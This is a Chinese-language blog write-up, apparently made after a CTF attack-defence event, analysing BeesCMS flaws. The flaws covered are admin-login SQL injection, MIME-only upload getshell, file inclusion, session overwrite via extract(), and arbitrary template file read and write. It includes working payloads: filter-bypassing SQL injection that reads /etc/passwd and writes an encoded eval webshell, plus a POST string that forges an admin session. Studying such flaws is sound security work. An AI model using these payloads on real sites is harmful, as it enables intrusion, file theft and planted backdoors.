一、前言

前几天在nssctf 参加了awd 赛事,使用的靶场就是Beescms,赛事过后对这个靶场多了一点理解,趁热打铁,分析一下beescms 漏洞造成的原因

二、后台登陆SQL注入漏洞

漏洞代码位置在admin/login.php文件中

image-20241021235458049

而真正实现登陆查询的操作在includes/fun.phpcheck_login 函数,我们来观察这个函数的主要代码部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
$rel = $GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from " . DB_PRE . "admin where admin_name='" . $user . "' limit 0,1");
$rel = empty($rel) ? '' : $rel[0];
if (empty($rel)) {
msg('不存在该管理用户', 'login.php');
}
$password = md5($password);
if ($password != $rel['admin_password']) {
msg("输入的密码不正确");
}
if ($rel['is_disable']) {
msg('该账号已经被锁定,无法登陆');
}
// 则登陆成功

可以看到,我们传入的用户名直接拼接在SQL语句中,造成SQL注入;当然,光这里是不够的,我们发现,在后端接收账号密码的时候就利用函数进行了过滤

1
2
$user = fl_html(fl_value($_POST['user']));
$password = fl_html(fl_value($_POST['password']));

我们先看下fl_value 函数:

1
2
3
4
5
6
7
function fl_value($str)
{
if (empty($str)) {
return;
}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/i', '', $str);
}

先判断了用户名是否为空,然后对其中的select等字符替换为空,这个地方我们可以用双写绕过

再看fl_html函数

1
2
3
4
function fl_html($str)
{
return htmlspecialchars($str);
}

这个函数用htmlspecialchars 将用户名进行html实体转换,但是,他这个写法有丢丢缺陷,如下:

image-20241022000854070

就是说,这里并没有过滤单引号’,导致被绕过

payload如下:

1’ a and nd extractvalue(1,concat(0x7e,(select user()),0x7e))#

image-20241022001524357

其他利用如下:

1
2
3
4
5
6
7
8
9
10
// 1、读取文件:
admin' a and nd extractvalue(1,concat(0x7e,(select load_file('/etc/passwd')),0x7e))#

// 2、写入webshell
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile '/var/www/html/index_backup.php'#



admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'

三、后台文件上传Getshell

来后台添加文章模块中上传图片

image-20241022001903887

在BP中看到传递的链接地址在/admin/admin_pic_upload.php?type=radio&get=thumb

查看关键代码:

1
$value_arr = up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);

可以看到在后端似乎仅仅做了MIME检测,这个是很好绕过的,在up_img 函数中也仅仅限制了大小和判断了MIME 格式,但是有一个点是会重命名文件:

1
$up_file_name = empty($pic_alt) ? date('YmdHis') . rand(1, 10000) : $pic_alt;

我们需要去拿文件,然后跟上php即可连接shell

image-20241022004613854

四、任意PHP文件包含漏洞

漏洞点:admin/admin_channel.php

image-20241022223611872

由于校验不严格导致可以利用../包含任意php文件

这个漏洞稍有点鸡肋,你都登陆后台了,还差包含他这个php吗

五、水平越权漏洞

在访问admin/admin.php的代码中包含了init.php文件,这个文件中实现了判断是否是管理员的登陆状态,如下关键代码:

1
2
//检查登陆
if(!is_login()){header('location:login.php');exit;}

那么实现检查的代码在is_login()函数中,查看逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function is_login()
{
if ($_SESSION['login_in'] == 1 && $_SESSION['admin']) { // 判断session中login_in 是否为1以及admin是否有值
if (time() - $_SESSION['login_time'] > 3600) {
login_out();
} else {
$_SESSION['login_time'] = time();
@session_regenerate_id();
}
return 1;
} else {
$_SESSION['admin'] = '';
$_SESSION['admin_purview'] = '';
$_SESSION['admin_id'] = '';
$_SESSION['admin_time'] = '';
$_SESSION['login_in'] = '';
$_SESSION['login_time'] = '';
$_SESSION['admin_ip'] = '';
return 0;
}
}

这段代码本身的逻辑是不存在问题的,问题出在其他的很多地方引用了这个逻辑,比如有这样一个文件,includes/init.php,关键代码如下:

1
2
3
4
5
6
7
8
session_start();
......
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

附上extract() 函数简单简介

PHP extract() 函数是从数组中把变量导入到当前的符号表中进行变量覆盖

如果我们利用extract() 函数覆盖session 的内容如何呢?毕竟在代码的上方开启了session。

fl_value() 函数的内容我们在SQL注入那里分析过,会进行一些过滤,但是我们发现这里的POST是没有进行过滤的,我们就利用POST来进行session变量覆盖

在我们的首页index.php中就发现引用了这个includes/init.php文件

1
2
3
4
define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');

因此,访问首页直接传递POST即可

1
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=1729688888

image-20241022230933955

六、任意文件读取漏洞

admin/admin_template.php文件中存在一个任意文件读取漏洞,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
//模板修改界面
elseif($action=='xg'){
$file = $_GET['file'];
$path=CMS_PATH.$file;
if(!$fp=@fopen($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($path));
$str = str_replace("&","&amp;",$str);
$str= str_replace(array("'",'"',"<",">"),array("&#39;","&quot;","&lt;","&gt;"),$str);
flock($fp,LOCK_UN);
fclose($fp);
}

可见,对传入要读取的file 文件并没有做限制,导致任意文件的读取

image-20241022234433046

七、任意文件写入漏洞

同样在admin/admin_template.php文件中存在一个任意文件写入漏洞,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//处理模板修改
elseif($action=='save_template'){
$template = $_POST['template'];
$file = $_POST['file'];
$template=stripslashes($template);
$path=CMS_PATH.$file;
//判断文件是否存在
if(!file_exists($path)){msg('不存在该文件,请重新操作');}
if(!$fp=@fopen($path,'w+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
flock($fp,LOCK_EX);
fwrite($fp,$template);
flock($fp,LOCK_UN);
fclose($fp);
}

这里使用了一个stripslashes函数对我们传入的数据进行了过滤,这个函数只是去除字符串中的反斜杠\,不影响我们写入webshell

1
2
3
4
5
<?php
$str = "1'2\"3<4>5? 6";
$str = stripslashes($str);
echo $str; // 输出:1'2"3<4>5? 6
?>

以beescms根目录下的phpinfo.php 文件为例写入webshell

image-20241022235331691

成功写入